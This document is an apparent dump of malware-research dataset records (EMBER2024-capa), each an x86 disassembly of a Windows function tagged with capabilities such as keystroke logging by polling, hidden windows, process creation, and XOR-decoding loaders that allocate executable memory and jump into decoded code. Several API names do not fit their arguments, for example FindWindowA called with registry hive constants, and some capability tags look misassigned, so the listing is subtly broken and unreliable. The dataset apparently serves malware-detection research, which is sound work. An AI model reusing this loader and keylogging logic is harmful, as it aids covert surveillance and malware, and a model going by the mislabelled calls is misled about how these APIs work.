joyce8/EMBER2024-capa huggingface dataset:
Function at 0x131441a0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call fcn.131410c8
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x131443d0
push 0x80000001
call sub.user32.dll_FindWindowA
test eax, eax
je 0x13144223
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x131443d0
push 0x80000002
call sub.user32.dll_FindWindowA
test eax, eax
je 0x13144223
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x131443ec
push 0x80000001
call sub.user32.dll_FindWindowA
test eax, eax
jne 0x131442ac
xor eax, eax
push ebp
push 0x131442a5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.13143fe8
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_GetClassNameA
test eax, eax
je 0x1314428a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x1314440c
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_GetClassNameA
test eax, eax
je 0x1314428a
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x131442ac
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_EnumWindows
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call fcn.13141100
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call fcn.131410e8
push eax
call fcn.131410c0
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x131443c6
cmp byte [ebp - 0xd], 0
jne 0x131442f3
cmp byte [ebp - 0x12], 0
je 0x131443c6
lea eax, [ebp - 0x11d]
push eax
call fcn.13141108
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x1314430c
dec ebx
cmp byte [ebx], 0x2e
je 0x1314431b
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x1314430b
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x131443c6
inc ebx
cmp byte [ebp - 0x12], 0
je 0x13144358
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call fcn.13141100
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call fcn.131410f0
mov esi, eax
test esi, esi
jne 0x131443c6
cmp byte [ebp - 0xd], 0
je 0x131443c6
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call fcn.13141100
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call fcn.131410f0
mov esi, eax
test esi, esi
jne 0x131443c6
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call fcn.13141100
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call fcn.131410f0
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x13148be4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
push ebx
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x13148de6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x13148dfc
call fcn.131459f8
add eax, 0x4f28a
lea edx, [ebp - 8]
call fcn.1314590c
mov eax, 0x13148dfc
call fcn.131459f8
add eax, 0x4f28a
lea edx, [ebp - 8]
call fcn.1314590c
mov eax, 0x13148dfc
call fcn.131459f8
add eax, 0x4f28a
lea edx, [ebp - 8]
call fcn.1314590c
mov eax, 0x13148dfc
call fcn.131459f8
add eax, 0x4f28a
lea edx, [ebp - 8]
call fcn.1314590c
mov eax, 0x13148dfc
call fcn.131459f8
add eax, 0x4f28a
lea edx, [ebp - 8]
call fcn.1314590c
mov eax, 0x13148dfc
call fcn.131459f8
add eax, 0x4f28a
lea edx, [ebp - 8]
call fcn.1314590c
mov eax, 0x13148dfc
call fcn.131459f8
add eax, 0x4f28a
lea edx, [ebp - 8]
call fcn.1314590c
mov eax, 0x13148dfc
call fcn.131459f8
add eax, 0x4f28a
lea edx, [ebp - 8]
call fcn.1314590c
mov eax, 0x13148dfc
call fcn.131459f8
add eax, 0x4f28a
lea edx, [ebp - 8]
call fcn.1314590c
mov eax, 0x13148dfc
call fcn.131459f8
add eax, 0x4f28a
lea edx, [ebp - 8]
call fcn.1314590c
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x44
call fcn.1314276c
push 0
push 0x13148e04
call fcn.131449e4
cmp eax, 1
jae 0x13148d5d
push 0
push 0
push 0
push 0x13148e0c
push 0
push ebx
call sub.shell32.dll_ShellExecuteA
push 0x1388
call sub.KERNEL32.DLL_WriteProcessMemory
lea eax, [ebp - 4]
push eax
push 0
push 0x13148e04
call fcn.131449e4
push eax
call fcn.131449fc
mov eax, dword [ebp - 4]
push eax
push 0
push 0x1f0fff
call fcn.1314497c
mov ebx, eax
mov edx, 0x13148b1c
mov eax, ebx
call fcn.13148b80
push ebx
call fcn.1314487c
jmp 0x13148d97
lea eax, [ebp - 4]
push eax
push 0
push 0x13148e04
call fcn.131449e4
push eax
call fcn.131449fc
mov eax, dword [ebp - 4]
push eax
push 0
push 0x1f0fff
call fcn.1314497c
mov ebx, eax
mov edx, 0x13148ac0
mov eax, ebx
call fcn.13148b80
push ebx
call fcn.1314487c
push 0x3a98
call sub.KERNEL32.DLL_WriteProcessMemory
push 0x13148e1c
call fcn.13144924
cmp eax, 0x20
ja 0x13148dd0
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0
push 0
push 0x10
push 0
push 0
push 0
push 0x13148e1c
push 0
call fcn.131448b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13148ded
lea eax, [ebp - 8]
call fcn.13143658
ret
Function at 0x40377f
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x420030]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x6c]
push ecx
xor ebx, ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xa8]
push ebx
push eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
jne 0x403822
mov eax, dword [ebp - 0x80]
push dword [eax + 8]
inc dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
push eax
call fcn.00407c81
pop ecx
pop ecx
test eax, eax
je 0x40380b
test ebx, ebx
je 0x4037ff
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00407c81
pop ecx
pop ecx
test eax, eax
jle 0x40380b
push ebx
call fcn.0040473f
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.0040471e
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x4037cc
xor edi, edi
cmp ebx, edi
jne 0x403826
xor eax, eax
jmp 0x403892
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push ebx
test eax, eax
je 0x403855
call fcn.0040473f
pop ecx
cmp dword [ebp - 0x70], edi
je 0x403822
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x403822
call fcn.0040473f
pop ecx
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
push edi
push str.JavaHome
push dword [ebp - 0x70]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x403845
cmp dword [ebp - 0x70], edi
je 0x403888
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [ebp - 0x6c]
push eax
call fcn.0040471e
pop ecx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004088d9
add ebp, 0x9c
leave
ret
Function at 0x404934
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
lea ebp, [esp - 0x214]
sub esp, 0x294
mov eax, dword [0x420030]
xor eax, ebp
mov dword [ebp + 0x210], eax
mov eax, dword [ebp + 0x21c]
push ebx
push esi
push edi
push 0x10
pop edi
mov dword [ebp - 0x78], eax
call fcn.004047a1
push 8
mov esi, eax
call fcn.004046d7
mov ebx, eax
pop ecx
lea eax, [ebp + 0xd0]
push eax
push dword [ebp - 0x78]
mov dword [ebp - 0x80], ebx
call dword [sym.imp.kernel32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x40499f
mov dword [ebx], eax
lea eax, [ebp + 0xfc]
mov dword [ebx + 4], eax
mov edi, dword [ebx + 4]
test edi, edi
je 0x4049a6
and dword [ebx + 4], 0
jmp 0x4049bb
xor eax, eax
jmp 0x404a86
lea eax, [ebp - 0x70]
push eax
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindNextFileA]
neg eax
sbb edi, edi
lea eax, [ebp - 0x44]
and edi, eax
test edi, edi
je 0x404a6c
push edi
call fcn.00408090
pop ecx
cmp eax, 4
jl 0x404992
add eax, edi
cmp byte [eax - 4], 0x2e
jne 0x404992
add eax, 0xfffffffd
push 0x4197b4
push eax
mov dword [ebp - 0x74], eax
call fcn.004088f0
pop ecx
pop ecx
test eax, eax
je 0x404a01
push 0x4197b0
push dword [ebp - 0x74]
call fcn.004088f0
pop ecx
pop ecx
test eax, eax
jne 0x404992
push 0x3b
push edi
call fcn.004097a0
pop ecx
pop ecx
test eax, eax
jne 0x404992
push dword [ebp - 0x78]
call fcn.00408090
push edi
mov ebx, eax
call fcn.00408090
mov dword [ebp - 0x74], eax
add eax, ebx
push eax
call fcn.004046d7
lea ecx, [ebx - 1]
push ecx
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], eax
push eax
call fcn.00407c81
mov eax, dword [ebp - 0x74]
inc eax
push eax
push edi
mov edi, dword [ebp - 0x7c]
lea eax, [edi + ebx - 1]
push eax
call fcn.00407c81
mov ecx, dword [esi + 4]
add esp, 0x24
inc ecx
call fcn.004047f7
mov eax, dword [esi + 4]
mov ecx, dword [esi]
mov ebx, dword [ebp - 0x80]
mov dword [ecx + eax*4], edi
inc dword [esi + 4]
jmp 0x404992
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindClose]
push dword [ebx + 4]
call fcn.0040473f
push ebx
call fcn.0040473f
pop ecx
pop ecx
mov eax, esi
mov ecx, dword [ebp + 0x210]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004088d9
add ebp, 0x214
leave
ret
Function at 0x407c81
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x407c90
pop dword [ebp - 8]
mov eax, 0xeacc62c1
sub eax, 0xea8be631
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x380381f1
add dword [ebp - 0x18], 0x164ec35a
mov dword [ebp - 0x14], 0xbeec94ce
sub dword [ebp - 0x14], 0x8cb94889
mov dword [ebp - 0x10], 0x871dd72d
add dword [ebp - 0x10], 0xc52e6d01
mov dword [ebp - 0xc], 0xbd5fc5be
add dword [ebp - 0xc], 0x42a03a42
lea eax, [ebp - 0x18]
push eax
mov eax, 0xc211f80
add eax, 0xf42060d0
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x99490406
sub dword [ebp - 0x18], 0x24d69ab0
mov dword [ebp - 0x14], 0x4590472e
add dword [ebp - 0x14], 0xfbdc1a47
mov dword [ebp - 0x10], 0x8fbbf12a
sub dword [ebp - 0x10], 0x2c4c84be
mov dword [ebp - 0xc], 0x4642f7a
add dword [ebp - 0xc], 0xfb9bd086
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0xb378a09b
sub eax, 0xb337204f
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3aec1
push 0
call eax
mov ecx, 0xf000c14c
add ecx, 0xfff84ee
mov edi, eax
mov edx, 0x7cf87a7
sub edx, 0x78c9fa7
add edx, dword [ebp - 8]
mov esi, 0x1724a3e
sub esi, 0x2cdeba10
xor dword [ebp - 4], 0x704934a4
mov ebx, dword [edx]
mov dword [ebp - 4], 0x51853c19
sub ebx, esi
mov dword [ebp - 4], 0xbd30b90
mov dword [edi], ebx
add edi, 4
add edx, 4
loop 0x407db2
add eax, 0x6d5210c4
sub eax, 0x6d510509
mov ebx, eax
add eax, 0xe860536a
sub eax, 0xe8605365
mov ecx, 0x400000
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x4088d9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x420030]
jne 0x4088e3
repz ret
jmp fcn.00410778
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040d73f
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040d73f
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040d73f
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040d73f
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040d73f
mov dword [0x41203c], eax
call fcn.0040d73f
test eax, eax
jge 0x402550
push 8
call fcn.0040d73f
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040d73f
pop ecx
push 1
call fcn.0040d73f
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040d73f
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040d73f
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040d73f
jmp 0x402495

Function at 0x40d73f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x40d74e
pop dword [ebp - 0x1c]
mov eax, 0x40d74e
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x394b7
push 0
mov eax, 0x3e4030ce
sub eax, 0x3dff4ff6
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0xf20d2686
add ecx, 0xdf321d2
xor esi, esi
add esi, eax
mov edx, 0x62e03ece
add edx, 0x9d60fcf6
add edx, dword [ebp - 0x1c]
mov edi, 0x722c4339
sub edi, 0xe6ff845e
xor dword [ebp - 4], eax
mov ebx, dword [edx]
xor dword [ebp - 0x18], ebx
xor ebx, edi
add dword [ebp - 8], edx
mov dword [esi], ebx
xor dword [ebp - 4], esi
add esi, 0x5cf5d2ef
add esi, 0xa30a2d15
add edx, 4
loop 0x40d7aa
add eax, 0x5687e0aa
sub eax, 0x5686cc77
xor ebx, ebx
add ebx, eax
add eax, 0x280f1014
sub eax, 0x280f100f
mov ecx, 0xb9bacf1
add ecx, 0xf4a4530f
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x404c20
Capabilities:
Hide graphical window

Disassembly:
test eax, eax
je 0x404c34
push eax
push 0
call sub.user32.dll_ShowWindow
test eax, eax
je 0x404c18
ret

Function at 0x40cc34
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40cd0a
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.004045d8
lea eax, [ebp - 8]
call fcn.00404a50
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404a00
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40ccf4
mov eax, ebx
call fcn.0040272c
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40cced
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404a00
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40ccd7
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40cd1c
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40ccd7
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ccf4
mov eax, dword [ebp - 0x10]
call fcn.0040274c
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cd11
lea eax, [ebp - 8]
call fcn.00404540
ret

Function at 0x40d98c
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x40da1c
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.user32.dll_GetWindowTextA
mov ebx, eax
test ebx, ebx
je 0x40d9e8
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0xc], 0
lea edx, [ebp - 0x14]
mov eax, ebx
call fcn.0040bb94
mov eax, dword [ebp - 0x14]
mov dword [ebp - 8], eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x10]
push eax
push 1
mov ecx, dword [0x478ed0]
mov dl, 1
mov eax, dword [0x408198]
call fcn.0040c494
mov edx, eax
jmp 0x40d9fc
mov ecx, dword [0x479040]
mov dl, 1
mov eax, dword [0x408198]
call fcn.0040c458
mov edx, eax
mov dword [edx + 0xc], ebx
mov eax, edx
call fcn.00403ed8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40da23
lea eax, [ebp - 0x14]
call fcn.00404540
ret
Function at 0x41454c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp dword [0x47a824], 0
je 0x41456e
cmp bx, 0x100
jb 0x41456e
cmp bx, 0x7ff
jbe 0x414572
xor eax, eax
jmp 0x414574
mov al, 1
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x4145fb
push 0x47a828
call sub.user32.dll_GetKeyboardState
xor eax, eax
push ebp
push 0x4145f4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x47a824]
call fcn.004056dc
movzx edi, bx
mov edx, edi
sub edx, 0x100
cmp eax, edx
setg byte [ebp - 1]
cmp byte [ebp - 1], 0
je 0x4145dc
mov eax, dword [0x47a824]
mov eax, dword [eax + edi*4 - 0x400]
mov dword [esi], eax
cmp dword [esi], 0
je 0x4145d3
mov eax, dword [esi]
cmp eax, dword [0x47732c]
jne 0x4145d7
xor eax, eax
jmp 0x4145d9
mov al, 1
mov byte [ebp - 1], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4145fb
push 0x47a828
call sub.user32.dll_OemToCharA
ret
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x414604
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4146da
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
push 0x47a828
call sub.user32.dll_GetKeyboardState
xor eax, eax
push ebp
push 0x4146bd
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x47a824]
call fcn.004056e4
mov esi, eax
test esi, esi
jl 0x4146a5
inc esi
xor edi, edi
mov eax, dword [0x47a824]
mov ebx, dword [eax + edi*4]
test ebx, ebx
je 0x4146a1
cmp ebx, dword [0x47732c]
je 0x4146a1
lea edx, [ebp - 0x110]
mov eax, dword [ebx]
call fcn.004036b4
lea edx, [ebp - 0x110]
lea eax, [ebp - 0x10]
call fcn.004047a4
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
call fcn.004085ec
test al, al
je 0x4146a1
mov eax, dword [ebp - 8]
mov dword [eax], ebx
mov byte [ebp - 9], 1
jmp 0x4146a5
inc edi
dec esi
jne 0x414658
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4146c4
push 0x47a828
call sub.user32.dll_OemToCharA
ret

Function at 0x4173a8
Capabilities:
Log keystrokes via polling

Disassembly:
add eax, 8
push eax
call sub.user32.dll_GetKeyboardState
ret
Function at 0x41aed0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], ebx
test dl, dl
je 0x41aef3
add esp, 0xfffffff0
call fcn.00403a70
mov esi, ecx
mov byte [ebp - 1], dl
mov ebx, eax
mov edi, dword [ebp + 0xc]
xor eax, eax
push ebp
push 0x41aff9
push dword fs:[eax]
mov dword fs:[eax], esp
cmp di, 0xffff
jne 0x41af7b
mov edx, dword [ebp + 8]
mov eax, esi
call fcn.00408ef0
mov ecx, eax
xor edx, edx
mov eax, ebx
call fcn.0041adc8
cmp dword [ebx + 4], 0
jge 0x41afde
lea edx, [ebp - 0x18]
mov eax, esi
call fcn.0040926c
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
call sub.user32.dll_GetWindowTextA
lea edx, [ebp - 0x1c]
call fcn.0040bb94
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0x14]
push eax
push 1
mov ecx, dword [0x4790e4]
mov dl, 1
mov eax, dword [0x4154b8]
call fcn.0040c494
call fcn.00403ed8
jmp 0x41afde
movzx edx, di
mov eax, esi
call fcn.00408e74
mov ecx, eax
xor edx, edx
mov eax, ebx
call fcn.0041adc8
cmp dword [ebx + 4], 0
jge 0x41afde
lea edx, [ebp - 0x20]
mov eax, esi
call fcn.0040926c
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
call sub.user32.dll_GetWindowTextA
lea edx, [ebp - 0x24]
call fcn.0040bb94
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0x14]
push eax
push 1
mov ecx, dword [0x4789b4]
mov dl, 1
mov eax, dword [0x415514]
call fcn.0040c494
call fcn.00403ed8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41b000
lea eax, [ebp - 0x24]
mov edx, 4
call fcn.00404564
ret
Function at 0x41e6ec
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov ebx, eax
call sub.user32.dll_GetSysColorBrush
mov edx, dword [0x4790e8]
cmp eax, dword [edx]
je 0x41e72f
call sub.user32.dll_GetSysColorBrush
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0
lea eax, [ebp - 0x14]
push eax
push 0
mov ecx, dword [0x478e78]
mov dl, 1
mov eax, dword [0x416734]
call fcn.0040c494
call fcn.00403ed8
test ebx, ebx
jle 0x41e73c
mov eax, ebx
call fcn.0041e6ac
jmp 0x41e741
call fcn.0041e6a0
xor eax, eax
mov dword [ebp - 0xc], eax
push 0x47a86c
call sub.user32.dll_GetKeyboardState
xor eax, eax
push ebp
push 0x41e87a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
push eax
push 0x4773fc
call sub.user32.dll_GetPropA
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x41e85b
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 0xc], 0
je 0x41e78c
mov eax, dword [ebp - 0xc]
cmp dword [eax + 8], 0
jg 0x41e790
xor eax, eax
jmp 0x41e792
mov al, 1
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x41e845
jmp 0x41e838
xor edx, edx
mov eax, dword [ebp - 0xc]
call fcn.00418254
mov dword [ebp - 8], eax
xor edx, edx
mov eax, dword [ebp - 0xc]
call fcn.00418144
push 0x47a86c
call sub.user32.dll_OemToCharA
xor eax, eax
push ebp
push 0x41e825
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x41e7f6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov ebx, dword [eax]
mov eax, dword [ebx + 0xc]
call dword [ebx + 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41e80d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41e82c
push 0x47a86c
call sub.user32.dll_GetKeyboardState
ret
mov eax, dword [ebp - 0xc]
cmp dword [eax + 8], 0
jg 0x41e7a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41e862
mov eax, dword [ebp - 0xc]
call fcn.00403764
ret

Function at 0x41e934
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
test dl, dl
je 0x41e94d
add esp, 0xfffffff0
call fcn.00403a70
mov ebx, ecx
mov byte [ebp - 1], dl
mov esi, eax
xor eax, eax
push ebp
push 0x41e9de
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, esi
call fcn.00403734
call fcn.0041e6d4
mov byte [esi + 0xe], bl
mov byte [esi + 0xc], bl
push esi
push 4
lea eax, [esi + 8]
push eax
mov ecx, 0x41e88c
xor edx, edx
xor eax, eax
call fcn.004044f4
mov ebx, eax
mov dword [esi + 4], ebx
test ebx, ebx
jne 0x41e9c8
call sub.user32.dll_GetWindowTextA
lea edx, [ebp - 0x10]
call fcn.0040bb94
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x479014]
mov dl, 1
mov eax, dword [0x416734]
call fcn.0040c494
call fcn.00403ed8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41e9e5
lea eax, [ebp - 0x10]
call fcn.00404540
ret